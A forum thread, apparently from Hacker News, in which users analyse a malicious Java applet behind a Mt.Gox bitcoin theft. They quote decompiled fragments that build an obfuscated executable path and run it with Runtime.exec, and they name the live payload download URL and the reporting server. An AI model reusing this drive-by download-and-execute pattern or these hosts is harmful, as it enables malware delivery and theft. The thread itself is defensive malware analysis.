Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?
How I got robbed of 34 btc on Mt.Gox today
41–50 of 251 posts
Re: How I got robbed of 34 btc on Mt.Gox today
#42From the source of mtgox-chat.info: Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo…
Re: How I got robbed of 34 btc on Mt.Gox today
#43Earlier quoted context omitted.
Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.
It's a long time since I went anywhere near Java (let alone an applet) - but these lines don't look very nice: String str2 = System.getenv("APPDATA"); String str5 = str2 + "\\"; String str6 = "AdobeUpdate-Setup1.84##e"; String str9 = str5.concat(str6.replace("##", ".ex")); Runtime.getRuntime().exec(str9);
From a quick glance it would appear it tries to execute:
C:\Users\\AppData\Roaming\AdobeUpdate-Setup1.84.exe
Just appears to be a rudimentary attempt at obfuscating the executable path.
The question is, how come the JVM is allowing Runtime.getRuntime().exec() to be called.
Re: How I got robbed of 34 btc on Mt.Gox today
#44From the source of mtgox-chat.info: Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo…
Just appears to be an applet that downloads the actual payload . Although, I'm not a security expert and I can't see where the actual exploit is that would allow the file to be downloaded and executed.
I reached the same conclusion ... the program downloads a file named "AdobeUpdate-Setup1.84.exe" into Java's temporary directory and then runs it with the line "Runtime.getRuntime().exec(str9);".
Re: How I got robbed of 34 btc on Mt.Gox today
#45From the source of mtgox-chat.info: Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo…
It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app.. /insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE* It appears to download an exe from http://g2f.nl/0lczsoo Then it tries to execute the exe: System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe"; If at any point in the process it hits an exception, it sends the code for that exception to the galax…
AVG detects this as Luhe.Fiha.A
Here's a mnetion from 2011:
(http://answers.microsoft.com/en-us/windows/forum/windows_7-s...)
So, someone using an OS heavily targeted by malware decides not to use anti-malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - that URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.
It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.
But come on; don't just give them your money.
EDIT: I just read the first answer to the MS post above. It's baffling.
> On reflection the best and easiest recourse might be to just tell AVG to "ignore" this "infection." Is this thing actually a virus? or an infection? I have seen no operational problems, nothing in chkdsk, sfc, Registry Mechanic, etc., to concern me.
Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.
MS is stuffed. There is nothing they can do to repair their malware reputation when the users are that stupid.
Re: How I got robbed of 34 btc on Mt.Gox today
#46From the source of mtgox-chat.info: Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI). import java.applet.Applet; import java.applet.AppletContext; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; impo…
It sends log messages to http://www.galaxyjdb.com with your OS information and the state of the app.. /insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE* It appears to download an exe from http://g2f.nl/0lczsoo Then it tries to execute the exe: System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe"; If at any point in the process it hits an exception, it sends the code for that exception to the galax…
Ooh, galaxyjdb has a register page: http://www.galaxyjdb.com/index.php?a=Register
>Paypal E-Mail:
>Hackforums Profile Link:
That means this is a service for script kiddies, they've sold this exploit as a service.
EDIT: Hackforums is basically a public internet forum where people openly discuss "hacking" and sell "hacking" tools. I've seen another example, a DDOS service, with an almost empty homepage but login and register actions.
(Why someone would be stupid enough to sell their product from the same domain it reports back to is beyond me, though. Especially since they put credits on it.)
EDIT 2: BINGO! http://www.hackforums.net/showthread.php?tid=3262851&hig... (the forum thread where the product is sold!)
Galaxy JDB is sort for "Galaxy Java Drive-By", apparently.
EDIT 3: Product image here, for people without hackforums accounts: http://i5.minus.com/iq2n2GtUjGHpW.png
Oh wow. "Noob friendly". "Free hosting". "Website Cloner". Only $40 for 6 months...
Re: How I got robbed of 34 btc on Mt.Gox today
#47Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?
Re: How I got robbed of 34 btc on Mt.Gox today
#48MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and nee…
They do have two-factor authentication, which the user admittedly didn't opt in to.
Re: How I got robbed of 34 btc on Mt.Gox today
#49Earlier quoted context omitted.
The applet itself is pretty straightforward: it downloads the real payload, called "AdobeUpdate-Setup1.84.exe", from g2f.nl/0lczsoo and then runs it. By default, applets don't have permission to access the local filesystem or start processes, but this one has a digital signature which means the user is prompted to give it elevated permissions.
Ah, that explains why it could get away with "Runtime.getRuntime().exec(str9);". Now, the thing is, I don't think the forum user mentioned clicking anything. However, it's possible they've stolen the signature from something else, which that person has previously chosen to "Always Accept"? (I don't know if Java lets you do that)
Since I don't have an mtgox account, and I have a fair degree of confidence that the code posted can't possibly escape the Java sandbox, I decided to live dangerously and try loading the page.
Here's the warning screen that comes up when you load it: http://i.imgur.com/sXDoFLt.png Note the self-signed certificate from "North Sumatra".
Gotta say, I have no sympathy for someone who clicks through that warning screen and then complains that their credentials got stolen.
Re: How I got robbed of 34 btc on Mt.Gox today
#50A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it. Java's security track is horrible and it's quite popular target.
Java's fine. Nothing wrong with playing Minecraft. :)
What's a terrible idea is letting it run in your browser. Ever.